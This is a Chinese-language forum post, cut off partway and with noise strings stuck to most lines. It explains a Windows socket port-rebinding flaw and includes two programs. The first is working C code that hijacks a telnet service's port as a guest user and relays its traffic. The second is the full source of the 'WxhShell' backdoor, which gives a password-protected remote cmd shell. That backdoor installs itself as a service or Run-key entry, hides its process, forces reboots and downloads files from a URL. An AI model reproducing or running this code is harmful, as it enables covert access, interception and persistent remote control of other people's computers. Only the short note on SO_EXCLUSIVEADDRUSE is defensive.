在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6Z,GD s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L>@:Xo@ 2,T^L(] saddr.sin_family = AF_INET;
$*-UY VUd=|$'J saddr.sin_addr.s_addr = htonl(INADDR_ANY);
e]5
n4"]D) `PH]_]:% bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
LWX,u M?[~_0_J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Rlyx&C8 3OZu v};k 这意味着什么?意味着可以进行如下的攻击:
d,y%:F 4 vr2cDk{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
xQKRUHDc 0D==0n 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
qi51'@ P&$ m2^K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8
o^ h\9I oj$^87KX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
EEI!pi L!qXt(` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@hV F}ybp !8jr $ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5`tMHgQO
qPH=2k,H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
IN!,|)8s XLq%nVBM8\ #include
ud`!X#e~ #include
5&Vp(A[m[ #include
_$vAitUe4S #include
K (!+l DWORD WINAPI ClientThread(LPVOID lpParam);
azKiXr#_( int main()
*f ;">(`o* {
S9 VD/ WORD wVersionRequested;
&:@)roCR DWORD ret;
-1z<,IN+ WSADATA wsaData;
K.l7yBm BOOL val;
[$iKx6\ SOCKADDR_IN saddr;
c7~>uNgJ SOCKADDR_IN scaddr;
V;-$k@$b. int err;
bd&
/B&a SOCKET s;
DnI31!+y SOCKET sc;
r!C#PiT}I int caddsize;
==XO:P HANDLE mt;
A@81wv
DWORD tid;
}#D+}Mo!, wVersionRequested = MAKEWORD( 2, 2 );
sc)}r_|g err = WSAStartup( wVersionRequested, &wsaData );
'jr[
?WQ if ( err != 0 ) {
WJA0 `<~ printf("error!WSAStartup failed!\n");
-qW[.B return -1;
y(92 Th$ }
7}%Z> saddr.sin_family = AF_INET;
ed\umQ] c7R<5f //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/$Ca}> HA# 9y;\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
='z4bU saddr.sin_port = htons(23);
+J;T= p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QHmF,P {
Eb.k:8?Tn printf("error!socket failed!\n");
5S/YVRXq return -1;
8Ts_;uId }
JQ"R%g`8 val = TRUE;
*+rWn*L //SO_REUSEADDR选项就是可以实现端口重绑定的
24b?6^8~k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
QRFBMq}' {
vOV$H le printf("error!setsockopt failed!\n");
JK=0juv<E return -1;
WMk;-,S!) }
-Ed<Kl //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#[B]\HO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
gF53[\w^v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3<A$lG glI4Jb_[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
FofeQ {
QXLHQ_V ret=GetLastError();
8%Eemk >G{ printf("error!bind failed!\n");
*i,@d&J y] return -1;
~Kiu"
g }
Zog&:]P'F listen(s,2);
#sHt3z)6I while(1)
@0[#XA_> {
dh0n B caddsize = sizeof(scaddr);
I;GbS` //接受连接请求
4uy:sCmu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>HL$=J_K? if(sc!=INVALID_SOCKET)
^=@`U_(,G {
Y:#nk.}> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
YDWV=/ if(mt==NULL)
4Gor*{ {
H7?Sd(U printf("Thread Creat Failed!\n");
:N#8|;J1Fl break;
GJj} |+| }
a%XF"*^v }
$az9Fmta CloseHandle(mt);
}-N4D"d4o }
hUP?r/B closesocket(s);
cP2n,>: WSACleanup();
5KgAY;| return 0;
.8]buM5_G }
GzEvp DWORD WINAPI ClientThread(LPVOID lpParam)
PUbfQg {
a?1lj,"~R SOCKET ss = (SOCKET)lpParam;
TW~%1G_v SOCKET sc;
s0\}Q=s[ unsigned char buf[4096];
S(#v<C,hd SOCKADDR_IN saddr;
hEMS long num;
)zAATBb4. DWORD val;
.Ge`)_e DWORD ret;
%v)+]Ds{ //如果是隐藏端口应用的话,可以在此处加一些判断
["0DXm%t //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1TlMB saddr.sin_family = AF_INET;
,Fzuo:{uy saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
I''X\/| saddr.sin_port = htons(23);
p|n!R $_g\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h pKrP {
o-+H- printf("error!socket failed!\n");
4Hq6nT/ return -1;
r*f:%epB% }
yW@YW_2;4 val = 100;
R/P9 =yvg0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*hlinQKs {
Q5 = ret = GetLastError();
/[+qw%> return -1;
S
N;1F }
Fd/Ra]@\Y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<,</ Ge {
so_^%)
gdJ ret = GetLastError();
TXbnK"XQ return -1;
1EQLsg`d^ }
M5c
*vs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$g '4' {
[/Xc},HbMe printf("error!socket connect failed!\n");
O2S{*D={ closesocket(sc);
(".WJXB\ closesocket(ss);
8V@\$4@b!# return -1;
C]M{ }
[[uZCKi while(1)
UUEbtZH; {
j"9Zaq_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1O+$"5H //如果是嗅探内容的话,可以再此处进行内容分析和记录
l
9bg //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
PBb'`PV num = recv(ss,buf,4096,0);
\OVw if(num>0)
:~\ y< send(sc,buf,num,0);
p!7(ayu else if(num==0)
S4D~`"4$/ break;
8X)1bNGqhe num = recv(sc,buf,4096,0);
,lQfsntk' if(num>0)
cB_3~=fV send(ss,buf,num,0);
9
=D13s(C else if(num==0)
9d8U@= break;
fK NDl\SD }
N >k,"=N/ closesocket(ss);
MrhJk closesocket(sc);
T1M>N return 0 ;
B&?xq)%*# }
9&Ny;oy#6 AME<V-5 @ ]
3`S ==========================================================
LX7<+`aa ZG)6{WS 下边附上一个代码,,WXhSHELL
~QU\kZ7Z `! _mIh} ==========================================================
X;d 1@G vg\fBHzn #include "stdafx.h"
oB%j3aAH M7c53fz #include <stdio.h>
=|qYaXjT$ #include <string.h>
$O, IXA #include <windows.h>
7%yP5c
B #include <winsock2.h>
QA#Jx #include <winsvc.h>
W{nDmG`yp #include <urlmon.h>
YLid2aF -9yWf8; #pragma comment (lib, "Ws2_32.lib")
PY[!H<tt #pragma comment (lib, "urlmon.lib")
!uN_<! =z9FjK #define MAX_USER 100 // 最大客户端连接数
1G
63eH)! #define BUF_SOCK 200 // sock buffer
%$=}ePD #define KEY_BUFF 255 // 输入 buffer
m-'+)lB 02q*z>:^ #define REBOOT 0 // 重启
3`{[T17 #define SHUTDOWN 1 // 关机
cLm{gd4 W 0b+End#mp #define DEF_PORT 5000 // 监听端口
J>^KQ e@L?jBj8m #define REG_LEN 16 // 注册表键长度
%J:2y #define SVC_LEN 80 // NT服务名长度
4H hQzVM{ GtkZ%<KF9 // 从dll定义API
H#B97IGT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
P|;=dX#- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
(z^987G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
J(k C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ZCDcf 3/*<i // wxhshell配置信息
$-M' struct WSCFG {
5<Y-?23 int ws_port; // 监听端口
E7j9A` char ws_passstr[REG_LEN]; // 口令
!\|L(Paf int ws_autoins; // 安装标记, 1=yes 0=no
B8 R&Q8Q char ws_regname[REG_LEN]; // 注册表键名
$<d3g: char ws_svcname[REG_LEN]; // 服务名
WGI4DzKa char ws_svcdisp[SVC_LEN]; // 服务显示名
)Q c>NF0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
v Yw$m#@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
h;t5v6[" int ws_downexe; // 下载执行标记, 1=yes 0=no
Kr74|W= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v:u=.by99 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,{sCI/ *+>QKR7 };
U\UlQp? C%;J9(r // default Wxhshell configuration
e18}`<tW- struct WSCFG wscfg={DEF_PORT,
!f*t9 I9Q "xuhuanlingzhe",
Cm[^+.=I 1,
sU;aA0kz "Wxhshell",
qm|T<zsDY# "Wxhshell",
pR7 D3Q:^7 "WxhShell Service",
d1n*wVl "Wrsky Windows CmdShell Service",
<amdPo+2D "Please Input Your Password: ",
t"FB}%G 1,
6F08$,%Y "
http://www.wrsky.com/wxhshell.exe",
bj U]] "Wxhshell.exe"
w[s}#Q };
lvIdYf$? +{@hD+ // 消息定义模块
.{66q#. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H]&^>Pvh char *msg_ws_prompt="\n\r? for help\n\r#>";
ZR@PqS+O/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
N.|uPq$R char *msg_ws_ext="\n\rExit.";
ZqJyuTPv char *msg_ws_end="\n\rQuit.";
{{Z3M>Q char *msg_ws_boot="\n\rReboot...";
dS~#Lzm char *msg_ws_poff="\n\rShutdown...";
o;7_*=i char *msg_ws_down="\n\rSave to ";
5)<}a&;{ {%XDr,myd char *msg_ws_err="\n\rErr!";
Z)RV6@( char *msg_ws_ok="\n\rOK!";
Ib0@,y S[ c~{)vL0K char ExeFile[MAX_PATH];
E~eSHJ(oR7 int nUser = 0;
p^9u8T4l1 HANDLE handles[MAX_USER];
o 9{~F`{p int OsIsNt;
hT[w" &3 TW~9<c SERVICE_STATUS serviceStatus;
D|X@aUp8} SERVICE_STATUS_HANDLE hServiceStatusHandle;
(xlAS
F!~o J // 函数声明
QOKE9R#Y int Install(void);
_.K<#S int Uninstall(void);
i2m+s; int DownloadFile(char *sURL, SOCKET wsh);
xGo,x+U* int Boot(int flag);
Ah1fcXED void HideProc(void);
4: S- int GetOsVer(void);
a29rD$ int Wxhshell(SOCKET wsl);
$+p4X# _ void TalkWithClient(void *cs);
Nm, 9xq int CmdShell(SOCKET sock);
88 M$mjx int StartFromService(void);
6@cT;=W;xj int StartWxhshell(LPSTR lpCmdLine);
w[?E
oFI$Y ahx*Ti/e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
GHR,KB7 xM VOID WINAPI NTServiceHandler( DWORD fdwControl );
D?}K|z LQ EmubpUS; // 数据结构和表定义
H\@@iK= SERVICE_TABLE_ENTRY DispatchTable[] =
iBy
^ {
@#KZ2^ {wscfg.ws_svcname, NTServiceMain},
%Astfn(U{4 {NULL, NULL}
XonI };
"`aLSw75x LGF5yRk // 自我安装
#ybtjsu'"U int Install(void)
<R@w0b> {
<-K'9ut, char svExeFile[MAX_PATH];
DW.vu%j^[ HKEY key;
{G(N vf,K] strcpy(svExeFile,ExeFile);
LFT)_DG7( vILq5iR // 如果是win9x系统,修改注册表设为自启动
3v7*@(y if(!OsIsNt) {
H3qM8_GUA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
K!BS?n; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>r~!'Pd! RegCloseKey(key);
gQ~X;' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:;u?TFCRx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
89X`U)Ws RegCloseKey(key);
"L~qsFL return 0;
sQ>L3F;A` }
BaUcmF2Q }
F)^:WWVc# }
?Z[`sm else {
>{huaN B y{]iwO; // 如果是NT以上系统,安装为系统服务
V [KFZSA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
j1U,X if (schSCManager!=0)
O6Jn$'os1# {
95^A ! SC_HANDLE schService = CreateService
[
#1<W`95 (
KG8Km schSCManager,
`UDB9Ca wscfg.ws_svcname,
D4e!A@LJ wscfg.ws_svcdisp,
tp3]?@0 SERVICE_ALL_ACCESS,
f=/IwMpn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)Me$BK> SERVICE_AUTO_START,
TSHQ>kP SERVICE_ERROR_NORMAL,
m C&*K svExeFile,
*aT\V64 NULL,
)mF;^3 NULL,
vS_Ji<W~E NULL,
v"N%w1`.e NULL,
qL?`l;+ NULL
|H7f@b]Sk );
uDXRw*rTv if (schService!=0)
y o
|"- {
sAec*Q(R CloseServiceHandle(schService);
}Uc)iNU CloseServiceHandle(schSCManager);
>p|tIST strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
mcFJ__3MAV strcat(svExeFile,wscfg.ws_svcname);
x\MzMQ#Bf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xgV(0H}Mf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0.}WZAYy~ RegCloseKey(key);
ygn]f*;?kw return 0;
l'0fRQc }
YD|;xuh }
Nn]|#lLP CloseServiceHandle(schSCManager);
<W<>=vDzyE }
9C2DW,? }
k-N`
h N|53|H return 1;
x vx+a0 A }
/>q?H)6 1so9w89 // 自我卸载
;+-Dg3 int Uninstall(void)
sF+Bu'9A {
b6y/o48 HKEY key;
y-i6StJ eW>Y*l%B if(!OsIsNt) {
a8wQ, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m^M sp:T, RegDeleteValue(key,wscfg.ws_regname);
+#a_Y RegCloseKey(key);
\Q m1+tg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/>,KWHR|: RegDeleteValue(key,wscfg.ws_regname);
|}Wm,J RegCloseKey(key);
_cw~N
p return 0;
#2qDn^s }
oYn|>`+6:y }
Kk?C }
;('(Yn7~ else {
\sZT[42 +M^+qt;]V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3+>;$ if (schSCManager!=0)
+P5\N,,7R {
%SHgXd#X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
v62M8r,Y if (schService!=0)
dNg5#?mzT5 {
ap y#8] if(DeleteService(schService)!=0) {
XD=p:Ezh CloseServiceHandle(schService);
Ns}BE H CloseServiceHandle(schSCManager);
WY)*3? return 0;
]
eO25,6 }
ljw(cUM CloseServiceHandle(schService);
N&]GPl0 }
/+g9C([' CloseServiceHandle(schSCManager);
=Mby;wQ?| }
;Or]x?- }
q{:]D(
nhZ^`mP return 1;
> q!:* }
ZP}NFh%,u "f5 neW // 从指定url下载文件
#D2.RN int DownloadFile(char *sURL, SOCKET wsh)
Y"dUxv1Ap {
X}@'FxIF HRESULT hr;
e[
9 char seps[]= "/";
o$%I{}9x char *token;
P/e6b
.M char *file;
gXP)YN char myURL[MAX_PATH];
aR0'$*3E char myFILE[MAX_PATH];
,N`cH\ e*?@6E strcpy(myURL,sURL);
)GC9%mF; token=strtok(myURL,seps);
_a`J>~$ while(token!=NULL)
_d`)N {
&u}]3E'-k file=token;
:*6#(MX token=strtok(NULL,seps);
,u&K(Z% }
|Y")$pjz a2!;$B% GetCurrentDirectory(MAX_PATH,myFILE);
LZ 3PQL strcat(myFILE, "\\");
]?3-;D.eG strcat(myFILE, file);
"k'P
#v{f send(wsh,myFILE,strlen(myFILE),0);
XQhbH^ send(wsh,"...",3,0);
\]y /EOT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KW 78J~u+ if(hr==S_OK)
u4QBD5T" return 0;
(aTpBXGr= else
XK=-$2n return 1;
#x|IEjoa $FM:8^ }
A]_5O8<buW G%#M17 // 系统电源模块
8`GN8F int Boot(int flag)
&RL
j^A! {
4;D>s8dgG HANDLE hToken;
fUV;3du TOKEN_PRIVILEGES tkp;
:% m56 }xG~a=, if(OsIsNt) {
p1`")$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?Zv>4+Y' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
["7]EW\!: tkp.PrivilegeCount = 1;
>)6d~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
id:6O+\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
iR39lOr if(flag==REBOOT) {
u`~,`z^{n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
r0L'
mf$ return 0;
H2oD0f| }
xwjiNJ Gj else {
*\"+/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
eX3|<Bf return 0;
3@8Zy:[8< }
kl[Jt)"4@ }
oa
q!<lI else {
dm`:']? if(flag==REBOOT) {
U0fr\kM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z5q( return 0;
c)B
<d# }
1P6!E*z\ else {
vL
]z3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
e4<[|B!O return 0;
o)r%4YOL }
x4^*YZc$, }
qtYVX:M@, Wa!}$q+ return 1;
\yKYBfp-p }
?j|i|WUD + )lkHv$R // win9x进程隐藏模块
DNmP> ~ void HideProc(void)
(*Fb/ {
2'T uS? MNWuw;:v HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4khc*fh if ( hKernel != NULL )
sHn-#SGm {
2{oU5e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
"^&Te%x_b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
] GH_; FreeLibrary(hKernel);
*h4x`luJ }
B82SAV/O j~C-T%kYa return;
Zy&?.d[z }
8h'*[-]70u Q8?:L<A // 获取操作系统版本
dSPye z int GetOsVer(void)
Uf\,U8U B {
lSK<LytB OSVERSIONINFO winfo;
r$<4_* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rfHAz GetVersionEx(&winfo);
1|/-Ff"1@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
F|!
ib5 return 1;
TJ+,G4z else
>^TcO return 0;
{}DoRpq= }
:{'%I#k2 .X;DI<K // 客户端句柄模块
*9)yN[w int Wxhshell(SOCKET wsl)
!v68`l15 {
(y!V0iy] SOCKET wsh;
L7OFZ|gUz struct sockaddr_in client;
kS1?%E,)q DWORD myID;
<BX'Owbs!O ukwO%JAr while(nUser<MAX_USER)
`w
K6B5> {
l,@rB+u int nSize=sizeof(client);
3u@=]0ZN wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0$:jZ/._ if(wsh==INVALID_SOCKET) return 1;
(pT7m r9y(j
z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
UtYwG#/w if(handles[nUser]==0)
U C..)9 closesocket(wsh);
7 DW_G else
kmu r={IR nUser++;
aM!%EaT }
)m<CmYr2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=)IV^6~b Dt glPo_( return 0;
-a`PW }
&[qJ=HMm I tr@)zM
GB // 关闭 socket
4"d'iY void CloseIt(SOCKET wsh)
j:P(,M[ {
@G?R( closesocket(wsh);
DTo P|P nUser--;
2 i97 ExitThread(0);
<}('w/ }
b/6!>qMMk% #iVr @|, // 客户端请求句柄
ePscSMx& void TalkWithClient(void *cs)
_qvzZ6 {
Sgq" 3(+%, e=sV>z> SOCKET wsh=(SOCKET)cs;
>eucQ] char pwd[SVC_LEN];
HJ0Rcw% char cmd[KEY_BUFF];
(Q F-=o char chr[1];
A#Ne07d int i,j;
?4H>1Wkb JN> h: while (nUser < MAX_USER) {
h)pYV>!d qt`HP3J& if(wscfg.ws_passstr) {
>bbvQb+j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P&5kO;ia //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Yx':~ //ZeroMemory(pwd,KEY_BUFF);
nNpXkI: i=0;
'tn-o while(i<SVC_LEN) {
UoOxGo <RJ+f- // 设置超时
(,;4f7\ fd_set FdRead;
4gh`
> struct timeval TimeOut;
l9vJ] FD_ZERO(&FdRead);
V(P 1{g FD_SET(wsh,&FdRead);
"5b4fQ;x TimeOut.tv_sec=8;
s4vj TimeOut.tv_usec=0;
nXAGwU8a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
bmI6OIWl if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
bu,xIT ^ a+,zXJQYq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:b"&Rc&s. pwd
=chr[0]; ^Fg!.X_
if(chr[0]==0xd || chr[0]==0xa) { oz&RNB.K
pwd=0;
4b
1a?
break; "9O8#i<Nr
} >gf,8flgj
i++; P0ZY;/e5h
} DSL3+%KF#
q$7/X;A
// 如果是非法用户,关闭 socket pIl[)%F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]6@6g>f?
} a3c43!J?M
\e' oAhM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8/zv3.+[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c_Jcy
1{.5X8y1x
while(1) { i#:M2&twE
<|1Kh ygv
ZeroMemory(cmd,KEY_BUFF); L|Bjw3K&D
w-P;E!gTt
// 自动支持客户端 telnet标准 y,Z2`Zmu
j=0; ("P]bU+'>
while(j<KEY_BUFF) { 0S&C[I
o6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c!]Q0ib6
cmd[j]=chr[0]; _3zJ.%
if(chr[0]==0xa || chr[0]==0xd) { Iwe
cmd[j]=0; i0'g$
break; F!zGk(Pu
} =k##*%
j++; {Lugdf'
} ?eDZ-u9)
&EJ/Rl
// 下载文件 z C7 b
if(strstr(cmd,"http://")) { 7}puj%JS
/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tu6<>
if(DownloadFile(cmd,wsh)) <6.?:Jj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9;fs'R
else 3*#$:waGd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0.0r?T
} 6 jU?~
else { 8f>v[SQ"
iM M s3
switch(cmd[0]) { ?\_vqW
lY[\eQ
1:
// 帮助 Qb8Z+7
case '?': { o ]@'R<F(u
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?G 'sb}.
break; 2?kVbF
} D*t[5,~j
// 安装 58t~? 2E
case 'i': { h(p cGE
if(Install()) O:Wd
,3_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p<c1$O*
else &"d
:+!4h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S2:G#%EAa
break; bK k7w#y
} iz3Hoj
// 卸载 uLr-!T
case 'r': { 8\rAx P}=
if(Uninstall()) k,LaFe`W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7ea%mg\
else &(h@]F!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L~*nI d
break; XwDt8TxL
} 8@r>`c
// 显示 wxhshell 所在路径 !im%t9
case 'p': { wU-Cb<^
char svExeFile[MAX_PATH]; zICAV -&
strcpy(svExeFile,"\n\r"); DaqlL
strcat(svExeFile,ExeFile); oF_
'<\ly=
send(wsh,svExeFile,strlen(svExeFile),0); ;i!$rL
break; CEJqo8ds
} >=/DCQ$
// 重启 0Ok[`r`
case 'b': { 2]V8-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X0 ]Se(
if(Boot(REBOOT)) WF-^pfRq~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I].ddR%
else { 7>f)pfLM
closesocket(wsh); ~^>g<YR[
ExitThread(0); `d4;T|f+=
} 3`Dyrj#!
break; {7.uwIW.1
} c=aVYQ"2
// 关机 ,.AXQ#~&`
case 'd': { 4iY
<7l8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rp
!Rzl<
if(Boot(SHUTDOWN)) lL&p?MUp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iv/h1j> H
else { 83F]d+n
closesocket(wsh); u.2^t:A
ExitThread(0); h<i.Z7F;tj
} 2=$ F*B>9
break; 7-mo\jw<
} {BZ0x2
// 获取shell rBZ00}
case 's': { vy5I#q(k
CmdShell(wsh); g{JH5IZ~
closesocket(wsh); [6)vD@
ExitThread(0); dTqL[?wH?
break; xP &@|Ag
} W?0u_F
// 退出 Hk?E0.
case 'x': { y1#QP3'Z1
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2[Xe:)d
CloseIt(wsh); 06I(01M1
break; 6>b'g
~I
} u zL|yxt
// 离开 zLg_0r*h1
case 'q': { pIY3ft\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ceAefKdb
closesocket(wsh); Ryn@">sVI
WSACleanup(); u?KG%
exit(1); $YK~7!!
break; ~>$z1o&}.
} ' wKTWmf?\
} |sB L(9
} -v=tM6
|T{ZDJ+
// 提示信息 5#::42oE
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iOiXo6YE
} ?uXY 6J"
} ZK8DziO
:fQN_*B4@4
return; }3R:7N`,|
} h8P_/.+g|V
Pz-=Eq
// shell模块句柄 #!4`t]E<
int CmdShell(SOCKET sock) Mm%b8#Fe!
{ xI8v'[3
STARTUPINFO si; q,]57s
ZeroMemory(&si,sizeof(si)); MT<3OKo?:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0p=
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X:W}S/
PROCESS_INFORMATION ProcessInfo; r]&&*:
char cmdline[]="cmd"; 'h 7n}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cyWDtq
return 0; kS_37-;
} 3Z74&a$
]o`FF="at
// 自身启动模式 $B`bsJ
int StartFromService(void) )T@+"Pw8t
{ \p\rPfY{>
typedef struct dq3"L!0u
{ aWb5w
DWORD ExitStatus; /_r{7Gq.
DWORD PebBaseAddress; a2H_8iQ!
DWORD AffinityMask; Q]-r'pYr
DWORD BasePriority; =A;79@bY
ULONG UniqueProcessId; j4h?"
ULONG InheritedFromUniqueProcessId; K\$z,}0
